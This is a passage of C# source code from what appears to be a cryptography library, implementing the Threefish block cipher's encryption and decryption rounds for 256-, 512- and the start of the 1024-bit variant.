index checks\n\t\t\t\tthrow new ArgumentException();\n\t\t\t}\n\n\t\t\tulong word = 0;\n\t\t\tint index = off;\n\n\t\t\tword = (bytes[index++] & 0xffUL);\n\t\t\tword |= (bytes[index++] & 0xffUL) << 8;\n\t\t\tword |= (bytes[index++] & 0xffUL) << 16;\n\t\t\tword |= (bytes[index++] & 0xffUL) << 24;\n\t\t\tword |= (bytes[index++] & 0xffUL) << 32;\n\t\t\tword |= (bytes[index++] & 0xffUL) << 40;\n\t\t\tword |= (bytes[index++] & 0xffUL) << 48;\n\t\t\tword |= (bytes[index++] & 0xffUL) << 56;\n\n\t\t\treturn word;\n\t\t}\n\n\t\t/// <summary>\n\t\t/// Write a 64 bit word to output in LSB first order.\n\t\t/// </summary>\n\t\tinternal static void WordToBytes(ulong word, byte[] bytes, int off)\n\t\t{\n\t\t\tif ((off + 8) > bytes.Length)\n\t\t\t{\n\t\t\t\t// Help the JIT avoid index checks\n\t\t\t\tthrow new ArgumentException();\n\t\t\t}\n\t\t\tint index = off;\n\n\t\t\tbytes[index++] = (byte)word;\n\t\t\tbytes[index++] = (byte)(word >> 8);\n\t\t\tbytes[index++] = (byte)(word >> 16);\n\t\t\tbytes[index++] = (byte)(word >> 24);\n\t\t\tbytes[index++] = (byte)(word >> 32);\n\t\t\tbytes[index++] = (byte)(word >> 40);\n\t\t\tbytes[index++] = (byte)(word >> 48);\n\t\t\tbytes[index++] = (byte)(word >> 56);\n\t\t}\n\n\t\t/**\n\t     * Rotate left + xor part of the mix operation.\n\t     */\n\t\tprivate static ulong RotlXor(ulong x, int n, ulong xor)\n\t\t{\n\t\t\treturn ((x << n) | (x >> (64 - n))) ^ xor;\n\t\t}\n\n\t\t/**\n\t     * Rotate xor + rotate right part of the unmix operation.\n\t     */\n\t\tprivate static ulong XorRotr(ulong x, int n, ulong xor)\n\t\t{\n\t\t\tulong xored = x ^ xor;\n\t\t\treturn (xored >> n) | (xored << (64 - n));\n\t\t}\n\n\t\tprivate abstract class ThreefishCipher\n\t\t{\n\t\t\t/**\n\t         * The extended + repeated tweak words\n\t         */\n\t\t\tprotected readonly ulong[] t;\n\t\t\t/**\n\t         * The extended + repeated key words\n\t         */\n\t\t\tprotected readonly ulong[] kw;\n\n\t\t\tprotected ThreefishCipher(ulong[] kw, ulong[] t)\n\t\t\t{\n\t\t\t\tthis.kw = kw;\n\t\t\t\tthis.t = t;\n\t\t\t}\n\n\t\t\tinternal abstract void EncryptBlock(ulong[] block, ulong[] outWords);\n\n\t\t\tinternal abstract void DecryptBlock(ulong[] block, ulong[] outWords);\n\n\t\t}\n\n\t\tprivate sealed class Threefish256Cipher\n\t\t\t: ThreefishCipher\n\t\t{\n\t\t\t/**\n\t         * Mix rotation constants defined in Skein 1.3 specification\n\t         */\n\t\t\tprivate const int ROTATION_0_0 = 14, ROTATION_0_1 = 16;\n\t\t\tprivate const int ROTATION_1_0 = 52, ROTATION_1_1 = 57;\n\t\t\tprivate const int ROTATION_2_0 = 23, ROTATION_2_1 = 40;\n\t\t\tprivate const int ROTATION_3_0 = 5, ROTATION_3_1 = 37;\n\n\t\t\tprivate const int ROTATION_4_0 = 25, ROTATION_4_1 = 33;\n\t\t\tprivate const int ROTATION_5_0 = 46, ROTATION_5_1 = 12;\n\t\t\tprivate const int ROTATION_6_0 = 58, ROTATION_6_1 = 22;\n\t\t\tprivate const int ROTATION_7_0 = 32, ROTATION_7_1 = 32;\n\n\t\t\tpublic Threefish256Cipher(ulong[] kw, ulong[] t)\n\t\t\t\t: base(kw, t)\n\t\t\t{\n\t\t\t}\n\n\t\t\tinternal override void EncryptBlock(ulong[] block, ulong[] outWords)\n\t\t\t{\n\t\t\t\tulong[] kw = this.kw;\n\t\t\t\tulong[] t = this.t;\n\t\t\t\tint[] mod5 = MOD5;\n\t\t\t\tint[] mod3 = MOD3;\n\n\t\t\t\t/* Help the JIT avoid index bounds checks */\n\t\t\t\tif (kw.Length != 9)\n\t\t\t\t{\n\t\t\t\t\tthrow new ArgumentException();\n\t\t\t\t}\n\t\t\t\tif (t.Length != 5)\n\t\t\t\t{\n\t\t\t\t\tthrow new ArgumentException();\n\t\t\t\t}\n\n\t\t\t\t/*\n\t             * Read 4 words of plaintext data, not using arrays for cipher state\n\t             */\n\t\t\t\tulong b0 = block[0];\n\t\t\t\tulong b1 = block[1];\n\t\t\t\tulong b2 = block[2];\n\t\t\t\tulong b3 = block[3];\n\n\t\t\t\t/*\n\t             * First subkey injection.\n\t             */\n\t\t\t\tb0 += kw[0];\n\t\t\t\tb1 += kw[1] + t[0];\n\t\t\t\tb2 += kw[2] + t[1];\n\t\t\t\tb3 += kw[3];\n\n\t\t\t\t/*\n\t             * Rounds loop, unrolled to 8 rounds per iteration.\n\t             * \n\t             * Unrolling to multiples of 4 avoids the mod 4 check for key injection, and allows\n\t             * inlining of the permutations, which cycle every of 2 rounds (avoiding array\n\t             * index/lookup).\n\t             * \n\t             * Unrolling to multiples of 8 avoids the mod 8 rotation constant lookup, and allows\n\t             * inlining constant rotation values (avoiding array index/lookup).\n\t             */\n\n\t\t\t\tfor (int d = 1; d < (ROUNDS_256 / 4); d += 2)\n\t\t\t\t{\n\t\t\t\t\tint dm5 = mod5[d];\n\t\t\t\t\tint dm3 = mod3[d];\n\n\t\t\t\t\t/*\n\t                 * 4 rounds of mix and permute.\n\t                 * \n\t                 * Permute schedule has a 2 round cycle, so permutes are inlined in the mix\n\t                 * operations in each 4 round block.\n\t                 */\n\t\t\t\t\tb1 = RotlXor(b1, ROTATION_0_0, b0 += b1);\n\t\t\t\t\tb3 = RotlXor(b3, ROTATION_0_1, b2 += b3);\n\n\t\t\t\t\tb3 = RotlXor(b3, ROTATION_1_0, b0 += b3);\n\t\t\t\t\tb1 = RotlXor(b1, ROTATION_1_1, b2 += b1);\n\n\t\t\t\t\tb1 = RotlXor(b1, ROTATION_2_0, b0 += b1);\n\t\t\t\t\tb3 = RotlXor(b3, ROTATION_2_1, b2 += b3);\n\n\t\t\t\t\tb3 = RotlXor(b3, ROTATION_3_0, b0 += b3);\n\t\t\t\t\tb1 = RotlXor(b1, ROTATION_3_1, b2 += b1);\n\n\t\t\t\t\t/*\n\t                 * Subkey injection for first 4 rounds.\n\t                 */\n\t\t\t\t\tb0 += kw[dm5];\n\t\t\t\t\tb1 += kw[dm5 + 1] + t[dm3];\n\t\t\t\t\tb2 += kw[dm5 + 2] + t[dm3 + 1];\n\t\t\t\t\tb3 += kw[dm5 + 3] + (uint)d;\n\n\t\t\t\t\t/*\n\t                 * 4 more rounds of mix/permute\n\t                 */\n\t\t\t\t\tb1 = RotlXor(b1, ROTATION_4_0, b0 += b1);\n\t\t\t\t\tb3 = RotlXor(b3, ROTATION_4_1, b2 += b3);\n\n\t\t\t\t\tb3 = RotlXor(b3, ROTATION_5_0, b0 += b3);\n\t\t\t\t\tb1 = RotlXor(b1, ROTATION_5_1, b2 += b1);\n\n\t\t\t\t\tb1 = RotlXor(b1, ROTATION_6_0, b0 += b1);\n\t\t\t\t\tb3 = RotlXor(b3, ROTATION_6_1, b2 += b3);\n\n\t\t\t\t\tb3 = RotlXor(b3, ROTATION_7_0, b0 += b3);\n\t\t\t\t\tb1 = RotlXor(b1, ROTATION_7_1, b2 += b1);\n\n\t\t\t\t\t/*\n\t                 * Subkey injection for next 4 rounds.\n\t                 */\n\t\t\t\t\tb0 += kw[dm5 + 1];\n\t\t\t\t\tb1 += kw[dm5 + 2] + t[dm3 + 1];\n\t\t\t\t\tb2 += kw[dm5 + 3] + t[dm3 + 2];\n\t\t\t\t\tb3 += kw[dm5 + 4] + (uint)d + 1;\n\t\t\t\t}\n\n\t\t\t\t/*\n\t             * Output cipher state.\n\t             */\n\t\t\t\toutWords[0] = b0;\n\t\t\t\toutWords[1] = b1;\n\t\t\t\toutWords[2] = b2;\n\t\t\t\toutWords[3] = b3;\n\t\t\t}\n\n\t\t\tinternal override void DecryptBlock(ulong[] block, ulong[] state)\n\t\t\t{\n\t\t\t\tulong[] kw = this.kw;\n\t\t\t\tulong[] t = this.t;\n\t\t\t\tint[] mod5 = MOD5;\n\t\t\t\tint[] mod3 = MOD3;\n\n\t\t\t\t/* Help the JIT avoid index bounds checks */\n\t\t\t\tif (kw.Length != 9)\n\t\t\t\t{\n\t\t\t\t\tthrow new ArgumentException();\n\t\t\t\t}\n\t\t\t\tif (t.Length != 5)\n\t\t\t\t{\n\t\t\t\t\tthrow new ArgumentException();\n\t\t\t\t}\n\n\t\t\t\tulong b0 = block[0];\n\t\t\t\tulong b1 = block[1];\n\t\t\t\tulong b2 = block[2];\n\t\t\t\tulong b3 = block[3];\n\n\t\t\t\tfor (int d = (ROUNDS_256 / 4) - 1; d >= 1; d -= 2)\n\t\t\t\t{\n\t\t\t\t\tint dm5 = mod5[d];\n\t\t\t\t\tint dm3 = mod3[d];\n\n\t\t\t\t\t/* Reverse key injection for second 4 rounds */\n\t\t\t\t\tb0 -= kw[dm5 + 1];\n\t\t\t\t\tb1 -= kw[dm5 + 2] + t[dm3 + 1];\n\t\t\t\t\tb2 -= kw[dm5 + 3] + t[dm3 + 2];\n\t\t\t\t\tb3 -= kw[dm5 + 4] + (uint)d + 1;\n\n\t\t\t\t\t/* Reverse second 4 mix/permute rounds */\n\n\t\t\t\t\tb3 = XorRotr(b3, ROTATION_7_0, b0);\n\t\t\t\t\tb0 -= b3;\n\t\t\t\t\tb1 = XorRotr(b1, ROTATION_7_1, b2);\n\t\t\t\t\tb2 -= b1;\n\n\t\t\t\t\tb1 = XorRotr(b1, ROTATION_6_0, b0);\n\t\t\t\t\tb0 -= b1;\n\t\t\t\t\tb3 = XorRotr(b3, ROTATION_6_1, b2);\n\t\t\t\t\tb2 -= b3;\n\n\t\t\t\t\tb3 = XorRotr(b3, ROTATION_5_0, b0);\n\t\t\t\t\tb0 -= b3;\n\t\t\t\t\tb1 = XorRotr(b1, ROTATION_5_1, b2);\n\t\t\t\t\tb2 -= b1;\n\n\t\t\t\t\tb1 = XorRotr(b1, ROTATION_4_0, b0);\n\t\t\t\t\tb0 -= b1;\n\t\t\t\t\tb3 = XorRotr(b3, ROTATION_4_1, b2);\n\t\t\t\t\tb2 -= b3;\n\n\t\t\t\t\t/* Reverse key injection for first 4 rounds */\n\t\t\t\t\tb0 -= kw[dm5];\n\t\t\t\t\tb1 -= kw[dm5 + 1] + t[dm3];\n\t\t\t\t\tb2 -= kw[dm5 + 2] + t[dm3 + 1];\n\t\t\t\t\tb3 -= kw[dm5 + 3] + (uint)d;\n\n\t\t\t\t\t/* Reverse first 4 mix/permute rounds */\n\t\t\t\t\tb3 = XorRotr(b3, ROTATION_3_0, b0);\n\t\t\t\t\tb0 -= b3;\n\t\t\t\t\tb1 = XorRotr(b1, ROTATION_3_1, b2);\n\t\t\t\t\tb2 -= b1;\n\n\t\t\t\t\tb1 = XorRotr(b1, ROTATION_2_0, b0);\n\t\t\t\t\tb0 -= b1;\n\t\t\t\t\tb3 = XorRotr(b3, ROTATION_2_1, b2);\n\t\t\t\t\tb2 -= b3;\n\n\t\t\t\t\tb3 = XorRotr(b3, ROTATION_1_0, b0);\n\t\t\t\t\tb0 -= b3;\n\t\t\t\t\tb1 = XorRotr(b1, ROTATION_1_1, b2);\n\t\t\t\t\tb2 -= b1;\n\n\t\t\t\t\tb1 = XorRotr(b1, ROTATION_0_0, b0);\n\t\t\t\t\tb0 -= b1;\n\t\t\t\t\tb3 = XorRotr(b3, ROTATION_0_1, b2);\n\t\t\t\t\tb2 -= b3;\n\t\t\t\t}\n\n\t\t\t\t/*\n\t             * First subkey uninjection.\n\t             */\n\t\t\t\tb0 -= kw[0];\n\t\t\t\tb1 -= kw[1] + t[0];\n\t\t\t\tb2 -= kw[2] + t[1];\n\t\t\t\tb3 -= kw[3];\n\n\t\t\t\t/*\n\t             * Output cipher state.\n\t             */\n\t\t\t\tstate[0] = b0;\n\t\t\t\tstate[1] = b1;\n\t\t\t\tstate[2] = b2;\n\t\t\t\tstate[3] = b3;\n\t\t\t}\n\n\t\t}\n\n\t\tprivate sealed class Threefish512Cipher\n\t\t\t: ThreefishCipher\n\t\t{\n\t\t\t/**\n\t         * Mix rotation constants defined in Skein 1.3 specification\n\t         */\n\t\t\tprivate const int ROTATION_0_0 = 46, ROTATION_0_1 = 36, ROTATION_0_2 = 19, ROTATION_0_3 = 37;\n\t\t\tprivate const int ROTATION_1_0 = 33, ROTATION_1_1 = 27, ROTATION_1_2 = 14, ROTATION_1_3 = 42;\n\t\t\tprivate const int ROTATION_2_0 = 17, ROTATION_2_1 = 49, ROTATION_2_2 = 36, ROTATION_2_3 = 39;\n\t\t\tprivate const int ROTATION_3_0 = 44, ROTATION_3_1 = 9, ROTATION_3_2 = 54, ROTATION_3_3 = 56;\n\n\t\t\tprivate const int ROTATION_4_0 = 39, ROTATION_4_1 = 30, ROTATION_4_2 = 34, ROTATION_4_3 = 24;\n\t\t\tprivate const int ROTATION_5_0 = 13, ROTATION_5_1 = 50, ROTATION_5_2 = 10, ROTATION_5_3 = 17;\n\t\t\tprivate const int ROTATION_6_0 = 25, ROTATION_6_1 = 29, ROTATION_6_2 = 39, ROTATION_6_3 = 43;\n\t\t\tprivate const int ROTATION_7_0 = 8, ROTATION_7_1 = 35, ROTATION_7_2 = 56, ROTATION_7_3 = 22;\n\n\t\t\tinternal Threefish512Cipher(ulong[] kw, ulong[] t)\n\t\t\t\t: base(kw, t)\n\t\t\t{\n\t\t\t}\n\n\t\t\tinternal override void EncryptBlock(ulong[] block, ulong[] outWords)\n\t\t\t{\n\t\t\t\tulong[] kw = this.kw;\n\t\t\t\tulong[] t = this.t;\n\t\t\t\tint[] mod9 = MOD9;\n\t\t\t\tint[] mod3 = MOD3;\n\n\t\t\t\t/* Help the JIT avoid index bounds checks */\n\t\t\t\tif (kw.Length != 17)\n\t\t\t\t{\n\t\t\t\t\tthrow new ArgumentException();\n\t\t\t\t}\n\t\t\t\tif (t.Length != 5)\n\t\t\t\t{\n\t\t\t\t\tthrow new ArgumentException();\n\t\t\t\t}\n\n\t\t\t\t/*\n\t             * Read 8 words of plaintext data, not using arrays for cipher state\n\t             */\n\t\t\t\tulong b0 = block[0];\n\t\t\t\tulong b1 = block[1];\n\t\t\t\tulong b2 = block[2];\n\t\t\t\tulong b3 = block[3];\n\t\t\t\tulong b4 = block[4];\n\t\t\t\tulong b5 = block[5];\n\t\t\t\tulong b6 = block[6];\n\t\t\t\tulong b7 = block[7];\n\n\t\t\t\t/*\n\t             * First subkey injection.\n\t             */\n\t\t\t\tb0 += kw[0];\n\t\t\t\tb1 += kw[1];\n\t\t\t\tb2 += kw[2];\n\t\t\t\tb3 += kw[3];\n\t\t\t\tb4 += kw[4];\n\t\t\t\tb5 += kw[5] + t[0];\n\t\t\t\tb6 += kw[6] + t[1];\n\t\t\t\tb7 += kw[7];\n\n\t\t\t\t/*\n\t             * Rounds loop, unrolled to 8 rounds per iteration.\n\t             * \n\t             * Unrolling to multiples of 4 avoids the mod 4 check for key injection, and allows\n\t             * inlining of the permutations, which cycle every of 4 rounds (avoiding array\n\t             * index/lookup).\n\t             * \n\t             * Unrolling to multiples of 8 avoids the mod 8 rotation constant lookup, and allows\n\t             * inlining constant rotation values (avoiding array index/lookup).\n\t             */\n\n\t\t\t\tfor (int d = 1; d < (ROUNDS_512 / 4); d += 2)\n\t\t\t\t{\n\t\t\t\t\tint dm9 = mod9[d];\n\t\t\t\t\tint dm3 = mod3[d];\n\n\t\t\t\t\t/*\n\t                 * 4 rounds of mix and permute.\n\t                 * \n\t                 * Permute schedule has a 4 round cycle, so permutes are inlined in the mix\n\t                 * operations in each 4 round block.\n\t                 */\n\t\t\t\t\tb1 = RotlXor(b1, ROTATION_0_0, b0 += b1);\n\t\t\t\t\tb3 = RotlXor(b3, ROTATION_0_1, b2 += b3);\n\t\t\t\t\tb5 = RotlXor(b5, ROTATION_0_2, b4 += b5);\n\t\t\t\t\tb7 = RotlXor(b7, ROTATION_0_3, b6 += b7);\n\n\t\t\t\t\tb1 = RotlXor(b1, ROTATION_1_0, b2 += b1);\n\t\t\t\t\tb7 = RotlXor(b7, ROTATION_1_1, b4 += b7);\n\t\t\t\t\tb5 = RotlXor(b5, ROTATION_1_2, b6 += b5);\n\t\t\t\t\tb3 = RotlXor(b3, ROTATION_1_3, b0 += b3);\n\n\t\t\t\t\tb1 = RotlXor(b1, ROTATION_2_0, b4 += b1);\n\t\t\t\t\tb3 = RotlXor(b3, ROTATION_2_1, b6 += b3);\n\t\t\t\t\tb5 = RotlXor(b5, ROTATION_2_2, b0 += b5);\n\t\t\t\t\tb7 = RotlXor(b7, ROTATION_2_3, b2 += b7);\n\n\t\t\t\t\tb1 = RotlXor(b1, ROTATION_3_0, b6 += b1);\n\t\t\t\t\tb7 = RotlXor(b7, ROTATION_3_1, b0 += b7);\n\t\t\t\t\tb5 = RotlXor(b5, ROTATION_3_2, b2 += b5);\n\t\t\t\t\tb3 = RotlXor(b3, ROTATION_3_3, b4 += b3);\n\n\t\t\t\t\t/*\n\t                 * Subkey injection for first 4 rounds.\n\t                 */\n\t\t\t\t\tb0 += kw[dm9];\n\t\t\t\t\tb1 += kw[dm9 + 1];\n\t\t\t\t\tb2 += kw[dm9 + 2];\n\t\t\t\t\tb3 += kw[dm9 + 3];\n\t\t\t\t\tb4 += kw[dm9 + 4];\n\t\t\t\t\tb5 += kw[dm9 + 5] + t[dm3];\n\t\t\t\t\tb6 += kw[dm9 + 6] + t[dm3 + 1];\n\t\t\t\t\tb7 += kw[dm9 + 7] + (uint)d;\n\n\t\t\t\t\t/*\n\t                 * 4 more rounds of mix/permute\n\t                 */\n\t\t\t\t\tb1 = RotlXor(b1, ROTATION_4_0, b0 += b1);\n\t\t\t\t\tb3 = RotlXor(b3, ROTATION_4_1, b2 += b3);\n\t\t\t\t\tb5 = RotlXor(b5, ROTATION_4_2, b4 += b5);\n\t\t\t\t\tb7 = RotlXor(b7, ROTATION_4_3, b6 += b7);\n\n\t\t\t\t\tb1 = RotlXor(b1, ROTATION_5_0, b2 += b1);\n\t\t\t\t\tb7 = RotlXor(b7, ROTATION_5_1, b4 += b7);\n\t\t\t\t\tb5 = RotlXor(b5, ROTATION_5_2, b6 += b5);\n\t\t\t\t\tb3 = RotlXor(b3, ROTATION_5_3, b0 += b3);\n\n\t\t\t\t\tb1 = RotlXor(b1, ROTATION_6_0, b4 += b1);\n\t\t\t\t\tb3 = RotlXor(b3, ROTATION_6_1, b6 += b3);\n\t\t\t\t\tb5 = RotlXor(b5, ROTATION_6_2, b0 += b5);\n\t\t\t\t\tb7 = RotlXor(b7, ROTATION_6_3, b2 += b7);\n\n\t\t\t\t\tb1 = RotlXor(b1, ROTATION_7_0, b6 += b1);\n\t\t\t\t\tb7 = RotlXor(b7, ROTATION_7_1, b0 += b7);\n\t\t\t\t\tb5 = RotlXor(b5, ROTATION_7_2, b2 += b5);\n\t\t\t\t\tb3 = RotlXor(b3, ROTATION_7_3, b4 += b3);\n\n\t\t\t\t\t/*\n\t                 * Subkey injection for next 4 rounds.\n\t                 */\n\t\t\t\t\tb0 += kw[dm9 + 1];\n\t\t\t\t\tb1 += kw[dm9 + 2];\n\t\t\t\t\tb2 += kw[dm9 + 3];\n\t\t\t\t\tb3 += kw[dm9 + 4];\n\t\t\t\t\tb4 += kw[dm9 + 5];\n\t\t\t\t\tb5 += kw[dm9 + 6] + t[dm3 + 1];\n\t\t\t\t\tb6 += kw[dm9 + 7] + t[dm3 + 2];\n\t\t\t\t\tb7 += kw[dm9 + 8] + (uint)d + 1;\n\t\t\t\t}\n\n\t\t\t\t/*\n\t             * Output cipher state.\n\t             */\n\t\t\t\toutWords[0] = b0;\n\t\t\t\toutWords[1] = b1;\n\t\t\t\toutWords[2] = b2;\n\t\t\t\toutWords[3] = b3;\n\t\t\t\toutWords[4] = b4;\n\t\t\t\toutWords[5] = b5;\n\t\t\t\toutWords[6] = b6;\n\t\t\t\toutWords[7] = b7;\n\t\t\t}\n\n\t\t\tinternal override void DecryptBlock(ulong[] block, ulong[] state)\n\t\t\t{\n\t\t\t\tulong[] kw = this.kw;\n\t\t\t\tulong[] t = this.t;\n\t\t\t\tint[] mod9 = MOD9;\n\t\t\t\tint[] mod3 = MOD3;\n\n\t\t\t\t/* Help the JIT avoid index bounds checks */\n\t\t\t\tif (kw.Length != 17)\n\t\t\t\t{\n\t\t\t\t\tthrow new ArgumentException();\n\t\t\t\t}\n\t\t\t\tif (t.Length != 5)\n\t\t\t\t{\n\t\t\t\t\tthrow new ArgumentException();\n\t\t\t\t}\n\n\t\t\t\tulong b0 = block[0];\n\t\t\t\tulong b1 = block[1];\n\t\t\t\tulong b2 = block[2];\n\t\t\t\tulong b3 = block[3];\n\t\t\t\tulong b4 = block[4];\n\t\t\t\tulong b5 = block[5];\n\t\t\t\tulong b6 = block[6];\n\t\t\t\tulong b7 = block[7];\n\n\t\t\t\tfor (int d = (ROUNDS_512 / 4) - 1; d >= 1; d -= 2)\n\t\t\t\t{\n\t\t\t\t\tint dm9 = mod9[d];\n\t\t\t\t\tint dm3 = mod3[d];\n\n\t\t\t\t\t/* Reverse key injection for second 4 rounds */\n\t\t\t\t\tb0 -= kw[dm9 + 1];\n\t\t\t\t\tb1 -= kw[dm9 + 2];\n\t\t\t\t\tb2 -= kw[dm9 + 3];\n\t\t\t\t\tb3 -= kw[dm9 + 4];\n\t\t\t\t\tb4 -= kw[dm9 + 5];\n\t\t\t\t\tb5 -= kw[dm9 + 6] + t[dm3 + 1];\n\t\t\t\t\tb6 -= kw[dm9 + 7] + t[dm3 + 2];\n\t\t\t\t\tb7 -= kw[dm9 + 8] + (uint)d + 1;\n\n\t\t\t\t\t/* Reverse second 4 mix/permute rounds */\n\n\t\t\t\t\tb1 = XorRotr(b1, ROTATION_7_0, b6);\n\t\t\t\t\tb6 -= b1;\n\t\t\t\t\tb7 = XorRotr(b7, ROTATION_7_1, b0);\n\t\t\t\t\tb0 -= b7;\n\t\t\t\t\tb5 = XorRotr(b5, ROTATION_7_2, b2);\n\t\t\t\t\tb2 -= b5;\n\t\t\t\t\tb3 = XorRotr(b3, ROTATION_7_3, b4);\n\t\t\t\t\tb4 -= b3;\n\n\t\t\t\t\tb1 = XorRotr(b1, ROTATION_6_0, b4);\n\t\t\t\t\tb4 -= b1;\n\t\t\t\t\tb3 = XorRotr(b3, ROTATION_6_1, b6);\n\t\t\t\t\tb6 -= b3;\n\t\t\t\t\tb5 = XorRotr(b5, ROTATION_6_2, b0);\n\t\t\t\t\tb0 -= b5;\n\t\t\t\t\tb7 = XorRotr(b7, ROTATION_6_3, b2);\n\t\t\t\t\tb2 -= b7;\n\n\t\t\t\t\tb1 = XorRotr(b1, ROTATION_5_0, b2);\n\t\t\t\t\tb2 -= b1;\n\t\t\t\t\tb7 = XorRotr(b7, ROTATION_5_1, b4);\n\t\t\t\t\tb4 -= b7;\n\t\t\t\t\tb5 = XorRotr(b5, ROTATION_5_2, b6);\n\t\t\t\t\tb6 -= b5;\n\t\t\t\t\tb3 = XorRotr(b3, ROTATION_5_3, b0);\n\t\t\t\t\tb0 -= b3;\n\n\t\t\t\t\tb1 = XorRotr(b1, ROTATION_4_0, b0);\n\t\t\t\t\tb0 -= b1;\n\t\t\t\t\tb3 = XorRotr(b3, ROTATION_4_1, b2);\n\t\t\t\t\tb2 -= b3;\n\t\t\t\t\tb5 = XorRotr(b5, ROTATION_4_2, b4);\n\t\t\t\t\tb4 -= b5;\n\t\t\t\t\tb7 = XorRotr(b7, ROTATION_4_3, b6);\n\t\t\t\t\tb6 -= b7;\n\n\t\t\t\t\t/* Reverse key injection for first 4 rounds */\n\t\t\t\t\tb0 -= kw[dm9];\n\t\t\t\t\tb1 -= kw[dm9 + 1];\n\t\t\t\t\tb2 -= kw[dm9 + 2];\n\t\t\t\t\tb3 -= kw[dm9 + 3];\n\t\t\t\t\tb4 -= kw[dm9 + 4];\n\t\t\t\t\tb5 -= kw[dm9 + 5] + t[dm3];\n\t\t\t\t\tb6 -= kw[dm9 + 6] + t[dm3 + 1];\n\t\t\t\t\tb7 -= kw[dm9 + 7] + (uint)d;\n\n\t\t\t\t\t/* Reverse first 4 mix/permute rounds */\n\t\t\t\t\tb1 = XorRotr(b1, ROTATION_3_0, b6);\n\t\t\t\t\tb6 -= b1;\n\t\t\t\t\tb7 = XorRotr(b7, ROTATION_3_1, b0);\n\t\t\t\t\tb0 -= b7;\n\t\t\t\t\tb5 = XorRotr(b5, ROTATION_3_2, b2);\n\t\t\t\t\tb2 -= b5;\n\t\t\t\t\tb3 = XorRotr(b3, ROTATION_3_3, b4);\n\t\t\t\t\tb4 -= b3;\n\n\t\t\t\t\tb1 = XorRotr(b1, ROTATION_2_0, b4);\n\t\t\t\t\tb4 -= b1;\n\t\t\t\t\tb3 = XorRotr(b3, ROTATION_2_1, b6);\n\t\t\t\t\tb6 -= b3;\n\t\t\t\t\tb5 = XorRotr(b5, ROTATION_2_2, b0);\n\t\t\t\t\tb0 -= b5;\n\t\t\t\t\tb7 = XorRotr(b7, ROTATION_2_3, b2);\n\t\t\t\t\tb2 -= b7;\n\n\t\t\t\t\tb1 = XorRotr(b1, ROTATION_1_0, b2);\n\t\t\t\t\tb2 -= b1;\n\t\t\t\t\tb7 = XorRotr(b7, ROTATION_1_1, b4);\n\t\t\t\t\tb4 -= b7;\n\t\t\t\t\tb5 = XorRotr(b5, ROTATION_1_2, b6);\n\t\t\t\t\tb6 -= b5;\n\t\t\t\t\tb3 = XorRotr(b3, ROTATION_1_3, b0);\n\t\t\t\t\tb0 -= b3;\n\n\t\t\t\t\tb1 = XorRotr(b1, ROTATION_0_0, b0);\n\t\t\t\t\tb0 -= b1;\n\t\t\t\t\tb3 = XorRotr(b3, ROTATION_0_1, b2);\n\t\t\t\t\tb2 -= b3;\n\t\t\t\t\tb5 = XorRotr(b5, ROTATION_0_2, b4);\n\t\t\t\t\tb4 -= b5;\n\t\t\t\t\tb7 = XorRotr(b7, ROTATION_0_3, b6);\n\t\t\t\t\tb6 -= b7;\n\t\t\t\t}\n\n\t\t\t\t/*\n\t             * First subkey uninjection.\n\t             */\n\t\t\t\tb0 -= kw[0];\n\t\t\t\tb1 -= kw[1];\n\t\t\t\tb2 -= kw[2];\n\t\t\t\tb3 -= kw[3];\n\t\t\t\tb4 -= kw[4];\n\t\t\t\tb5 -= kw[5] + t[0];\n\t\t\t\tb6 -= kw[6] + t[1];\n\t\t\t\tb7 -= kw[7];\n\n\t\t\t\t/*\n\t             * Output cipher state.\n\t             */\n\t\t\t\tstate[0] = b0;\n\t\t\t\tstate[1] = b1;\n\t\t\t\tstate[2] = b2;\n\t\t\t\tstate[3] = b3;\n\t\t\t\tstate[4] = b4;\n\t\t\t\tstate[5] = b5;\n\t\t\t\tstate[6] = b6;\n\t\t\t\tstate[7] = b7;\n\t\t\t}\n\t\t}\n\n\t\tprivate sealed class Threefish1024Cipher\n\t\t\t: ThreefishCipher\n\t\t{\n\t\t\t/**\n\t         * Mix rotation constants defined in Skein 1.3 specification\n\t         */\n\t\t\tprivate const int ROTATION_0_0 = 24, ROTATION_0_1 = 13, ROTATION_0_2 = 8, ROTATION_0_3 = 47;\n\t\t\tprivate const int ROTATION_0_4 = 8, ROTATION_0_5 = 17, ROTATION_0_6 = 22, ROTATION_0_7 = 37;\n\t\t\tprivate const int ROTATION_1_0 = 38, ROTATION_1_1 = 19, ROTATION_1_2 = 10, ROTATION_1_3 = 55;\n\t\t\tprivate const int ROTATION_1_4 = 49, ROTATION_1_5 = 18, ROTATION_1_6 = 23, ROTATION_1_7 = 52;\n\t\t\tprivate const int ROTATION_2_0 = 33, ROTATION_2_1 = 4, ROTATION_2_2 = 51, ROTATION_2_3 = 13;\n\t\t\tprivate const int ROTATION_2_4 = 34, ROTATION_2_5 = 41, ROTATION_2_6 = 59, ROTATION_2_7 = 17;\n\t\t\tprivate const int ROTATION_3_0 = 5, ROTATION_3_1 = 20, ROTATION_3_2 = 48, ROTATION_3_3 = 41;\n\t\t\tprivate const int ROTATION_3_4 = 47, ROTATION_3_5 = 28, ROTATION_3_6 = 16, ROTATION_3_7 = 25;\n\n\t\t\tprivate const int ROTATION_4_0 = 41, ROTATION_4_1 = 9, ROTATION_4_2 = 37, ROTATION_4_3 = 31;\n\t\t\tprivate const int ROTATION_4_4 = 12, ROTATION_4_5 = 47, ROTATION_4_6 = 44, ROTATION_4_7 = 30;\n\t\t\tprivate const int ROTATION_5_0 = 16, ROTATION_5_1 = 34, ROTATION_5_2 = 56, ROTATION_5_3 = 51;\n\t\t\tprivate const int ROTATION_5_4 = 4, ROTATION_5_5 = 53, ROTATION_5_6 = 42, ROTATION_5_7 = 41;\n\t\t\tprivate const int ROTATION_6_0 = 31, ROTATION_6_1 = 44, ROTATION_6_2 = 47, ROTATION_6_3 = 46;\n\t\t\tprivate const int ROTATION_6_4 = 19, ROTATION_6_5 = 42, ROTATION_6_6 = 44, ROTATION_6_7 = 25;\n\t\t\tprivate const int ROTATION_7_0 = 9, ROTATION_7_1 = 48, ROTATION_7_2 = 35, ROTATION_7_3 = 52;\n\t\t\tprivate const int ROTATION_7_4 = 23, ROTATION_7_5 = 31, ROTATION_7_6 = 37, ROTATION_7_7 = 20;\n\n\t\t\tpublic Threefish1024Cipher(ulong[] kw, ulong[] t)\n\t\t\t\t: base(kw, t)\n\t\t\t{\n\t\t\t}\n\n\t\t\tinternal override void EncryptBlock(ulong[] block, ulong[] outWords)\n\t\t\t{\n\t\t\t\tulong[] kw = this.kw;\n\t\t\t\tulong[] t = this.t;\n\t\t\t\tint[] mod17 = MOD17;\n\t\t\t\tint[] mod3 = 